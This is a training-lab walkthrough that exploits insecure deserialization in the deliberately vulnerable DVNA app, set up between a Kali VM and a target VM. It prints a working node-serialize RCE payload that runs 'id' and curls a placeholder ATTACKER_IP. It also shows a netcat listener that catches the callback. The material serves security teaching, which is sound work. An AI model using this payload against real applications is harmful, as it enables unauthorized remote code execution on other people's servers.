Insecure Deserialization - DVNA

Lets change the settings of Virtual Machines

Go to Settings

Click on Network -> Change the adapter to NAT Network

For this exercise we would need two Virtual Machines

a) Kali Linux

b) Global AppSec SF VM

Access the AppSec Global SF VM url from the Kali Box

http://10.0.2.14:9090

Step 1: Navigate to "A8: Insecure Deserialization" > Insecure Deserialization: Legacy Import Products. Notice that the URL is http://127.0.0.1:9090/app/bulkproducts?legacy=true and it presents a "Bulk Import Products" feature has a file upload functionality which accepts a serialized object.

Step 2: Let's upload a serialised object and check if the file upload is vulnerable. Save the following snippet into the file and save it with and upload it using "Bulk Import Products" feature. Intercept the POST request made using Burp. Make sure to replace "ATTACKER_IP" with the address of attacker machine that the victim machine can connect to.

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id; curl http://ATTACKER_IP:8081', function(error, stdout, stderr) { console.log(stdout) });}()"}

Step 3: Send the intercepted request to Burp Repeater(CTRL+R) and navigate to repeater(CTRL+SHIFT+R)

Step 4: On the attacker machine (kali Linux - 10.0.2.12), run nc -lvvp 8081. In the Burp repeater, forward the request. Notice that on the attacker machine nc will receive a connection from the victim machine. This is because the serialised object we uploaded got insecurely deserialised and the command got executed which connects to the attacker machine.